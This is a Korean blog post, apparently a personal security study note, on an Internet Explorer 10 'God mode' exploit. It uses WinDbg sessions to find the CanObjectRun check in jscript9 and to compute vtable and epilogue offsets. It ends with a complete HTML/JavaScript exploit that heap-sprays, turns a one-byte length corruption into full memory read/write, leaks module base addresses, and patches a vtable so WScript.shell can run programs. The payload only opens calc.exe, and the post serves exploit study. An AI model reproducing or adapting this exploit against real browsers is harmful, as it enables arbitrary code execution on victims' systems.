Windows System Hacking

Internet Explorer 10 Exploit - God mode

hyunmini 2017. 6. 7. 16:51

# IE 10  Exploit (using God mode)


activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는 


보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.


=====================================

<html>

<head>

<script language="javascript">

  shell = new ActiveXObject("WScript.shell");

  shell.Exec('calc.exe');

</script>

</head>

<body>

</body>

</html>

=====================================



하지만, 아래와 같은 단계로 우회가 가능하다.


1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.


  ex1)  js array length modify


  ex2) flash vector length modify


    => 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함

      => cve-2014-0322(snowman) 참고(값 1 증가 uaf)


2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작


3) 자바스크립트로  calc 마음대로 실행 가능(Godmode on)



이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.





====== 디버깅 과정 ======



1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인 



0:007> x user32!create*


브뽀 걸리면 


0:012> kb 10

 # ChildEBP RetAddr  Args to Child              

00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW

01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64

02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47

03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1

04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea

05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b

06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31

07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40

08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504

09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f

0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d

0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e

0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b

0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148

0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78

0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf



 jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.


또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.







2) 함수 분석



# CreateObjectFromProgID 분석


0:012> uf jscript9!ScriptSite::CreateObjectFromProgID


jscript9!ScriptSite::CreateObjectFromProgID:

6e85b6b9 8bff            mov     edi,edi

6e85b6bb 55              push    ebp

                ...(중략)...

6e85b78c 8b4ddc          mov     ecx,dword ptr [ebp-24h]

6e85b78f ff33            push    dword ptr [ebx]

6e85b791 8b4904          mov     ecx,dword ptr [ecx+4]

6e85b794 8d55ec          lea     edx,[ebp-14h]

6e85b797 e811030000      call    jscript9!ScriptEngine::CanObjectRun (6e85baad)   // CanObjectRun 결과에 따라서 실행여부 결정

6e85b79c 85c0            test    eax,eax                      

6e85b79e 0f844c7c0800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0)  Branch



포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!



이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.



# CanObjectRun 분석


0:006> uf jscript9!ScriptEngine::CanObjectRun

jscript9!ScriptEngine::CanObjectRun:

6e85baad 8bff            mov     edi,edi

6e85baaf 55              push    ebp

6e85bab0 8bec            mov     ebp,esp

6e85bab2 83ec48          sub     esp,48h

               ...(중략)...

6e85bb12 52              push    edx

6e85bb13 8d55c0          lea     edx,[ebp-40h]

6e85bb16 52              push    edx

6e85bb17 6860bb856e      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)

6e85bb1c 895de4          mov     dword ptr [ebp-1Ch],ebx

6e85bb1f 8b08            mov     ecx,dword ptr [eax]

6e85bb21 50              push    eax

6e85bb22 ff5114          call    dword ptr [ecx+14h]         // 이 호출을 조작하기 위해 VTable 을 덮어씀 

 

                                                 => 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀


=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능



# 조작할 오프셋 구하기


009> bp  jscript9!ScriptEngine::CanObjectRun+0x75

009> g


jscript9!ScriptEngine::CanObjectRun+0x75:

6e85bb22 ff5114          call    dword ptr [ecx+14h]  ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}



0:012> ln @ecx      //   현재 호출된 객체 심볼 확인


Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>




0:012> dds ecx     //  VTable 확인  

66b67870  65f3dd56 MSHTML!PlainQueryInterface

66b67874  65f3d69d MSHTML!CAPProcessor::AddRef

66b67878  65f3d6b5 MSHTML!PlainRelease

66b6787c  65f3c1d2 MSHTML!TearoffThunk3

66b67880  6601b017 MSHTML!TearoffThunk4

66b67884  6601e30e MSHTML!TearoffThunk5

66b67888  6601f130 MSHTML!TearoffThunk6

66b6788c  6637e99d MSHTML!TearoffThunk7



원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀






# 덮어써야할 주소 =>  VTable Offset 계산


0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml

Evaluate expression: 13006960 = 00c67870



# 덮어쓸 주소 => 에필로그 Offset 계산


0:012> ? 6e85bb5c  - jscript9

Evaluate expression: 899932 = 000dbb5c



# mshtml base addr 구하기  =>  div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.


0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml

Evaluate expression: 249949 = 0003d05d



이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.


힙스프레이를 통해 항상 0x0c0af000 에 위치한다.



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 00000016 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



0:020> ed 0x0c0af018 0x20000000



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 20000000 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



정상적으로 calc 가 실행된다.



<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr   =>  jscript9!Js::TypedArray<int>
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20"); 
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    //jscript9 = read(0x0c0af000) - 0x3b60; 원본 
    jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    //mshtml = read(addr + 0x10) - 0x58b9a;  원본 
    mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    //var old = read(mshtml+0xc555e0+0x14);   // 원본 
    var old = read(mshtml+0xc67870+0x14);   // by hyunmini
    //write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on! 원본 
    write(mshtml+0xc67870+0x14, jscript9+0xdbb5c);      // God mode on! by hyunmini
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc67870+0x14, old);      // God mode off! by hyunmini
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>